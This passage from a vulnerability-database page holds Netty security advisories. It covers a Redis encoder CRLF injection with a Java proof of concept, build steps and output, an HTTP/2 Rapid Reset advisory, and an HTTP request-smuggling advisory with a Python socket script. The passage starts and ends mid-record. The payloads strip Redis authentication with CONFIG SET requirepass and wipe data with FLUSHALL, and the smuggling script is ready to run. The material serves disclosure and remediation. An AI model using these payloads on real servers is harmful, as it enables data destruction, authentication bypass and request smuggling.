System.out.println("Input: SimpleStringRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type:
// '+' = Simple String, '$' = Bulk String
// A client parsing this would see:
// 1. "+OK\r\n" -> Simple String "OK"
// 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!)
boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
System.out.println();
}
/**
* Test 3: Error Message Injection
* Similar to SimpleString but with error messages.
*/
static void testErrorMessageInjection() {
System.out.println("[TEST 3] Error Message CRLF Injection");
System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTED_OK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
System.out.println();
}
}
How to Compile and Run
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Redis Encoder CRLF Injection PoC ===
[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
Command 1: PING
Command 2: CONFIG SET requirepass ""
Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!
[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!
[TEST 3] Error Message CRLF Injection
--------------------------------------
Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data |
| Integrity | HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration |
| Availability | Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS |
| Authentication Bypass | CONFIG SET requirepass "" removes authentication |
| Data Exfiltration | Lua scripting via EVAL enables complex data extraction |
8. Remediation Recommendations
Option 1: Validate in Message Constructors (Recommended)
Add CRLF validation to AbstractStringRedisMessage:
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
validateContent(content);
}
private static void validateContent(String content) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"Redis message content contains illegal CRLF character at index " + i);
}
}
}
Option 2: Validate in Encoder (Defense-in-Depth)
Add validation in RedisEncoder.writeString():
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new RedisCodecException(
"Redis message content contains CRLF at index " + i);
}
}
// ... existing encoding logic
}
Option 3: Both (Best Practice)
Apply validation in both the constructor and the encoder, following the pattern used for SMTP:
- SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
- This provides defense-in-depth against custom SmtpRequest implementations
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-redis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42586"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:24:08Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List\u003cObject\u003e out) {\n ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n RedisConstants.EOL_LENGTH);\n type.writeTo(buf);\n ByteBufUtil.writeUtf8(buf, content); // \u003c-- NO CRLF VALIDATION\n buf.writeShort(RedisConstants.EOL_SHORT); // \u003c-- Appends \\r\\n\n out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\"); // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n public static void main(String[] args) {\n System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n testInlineCommandInjection();\n testSimpleStringInjection();\n testErrorMessageInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n /**\n * Test 1: Inline Command Injection\n * An attacker-controlled string injected into InlineCommandRedisMessage\n * results in multiple Redis commands being sent.\n */\n static void testInlineCommandInjection() {\n System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n System.out.println(\"----------------------------------------\");\n\n // Malicious content: inject FLUSHALL after a benign PING\n String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n // This should be rejected but is accepted\n InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: InlineCommandRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // Count how many CRLF-delimited commands are in the output\n String[] commands = encoded.split(\"\\r\\n\");\n System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n for (int i = 0; i \u003c commands.length; i++) {\n if (!commands[i].isEmpty()) {\n System.out.println(\" Command \" + (i + 1) + \": \" + commands[i]);\n }\n }\n\n boolean vulnerable = commands.length \u003e 1;\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 2: SimpleString Response Injection\n * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n * can inject fake responses to the downstream client.\n */\n static void testSimpleStringInjection() {\n System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n System.out.println(\"----------------------------------------------\");\n\n // Malicious content: inject a fake bulk string response after OK\n String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: SimpleStringRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // The RESP protocol uses the first byte to determine type:\n // \u0027+\u0027 = Simple String, \u0027$\u0027 = Bulk String\n // A client parsing this would see:\n // 1. \"+OK\\r\\n\" -\u003e Simple String \"OK\"\n // 2. \"$6\\r\\nhacked\" -\u003e Bulk String \"hacked\" (injected!)\n boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 3: Error Message Injection\n * Similar to SimpleString but with error messages.\n */\n static void testErrorMessageInjection() {\n System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n System.out.println(\"--------------------------------------\");\n\n String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: ErrorRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n System.out.println();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput: InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n Command 1: PING\n Command 2: CONFIG SET requirepass \"\"\n Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput: SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput: ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n for (int i = 0; i \u003c content.length(); i++) {\n char c = content.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"Redis message content contains illegal CRLF character at index \" + i);\n }\n }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List\u003cObject\u003e out) {\n for (int i = 0; i \u003c content.length(); i++) {\n char c = content.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027) {\n throw new RedisCodecException(\n \"Redis message content contains CRLF at index \" + i);\n }\n }\n // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)",
"id": "GHSA-rgrr-p7gp-5xj7",
"modified": "2026-05-14T20:41:24Z",
"published": "2026-05-07T00:24:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42586"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://redis.io/docs/reference/protocol-spec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty Redis Codec Encoder has a CRLF Injection Issue"
}
GHSA-XPW8-RCWV-8F8P
Vulnerability from github – Published: 2023-10-10 22:22 – Updated: 2023-11-06 22:08A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.
Impact
This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.
Patches
This is patched in version 4.1.100.Final.
Workarounds
A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).
References
- https://www.cve.org/CVERecord?id=CVE-2023-44487
- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.100.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-10T22:22:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/",
"id": "GHSA-xpw8-rcwv-8f8p",
"modified": "2023-11-06T22:08:35Z",
"published": "2023-10-10T22:22:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44487"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack"
}
GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges 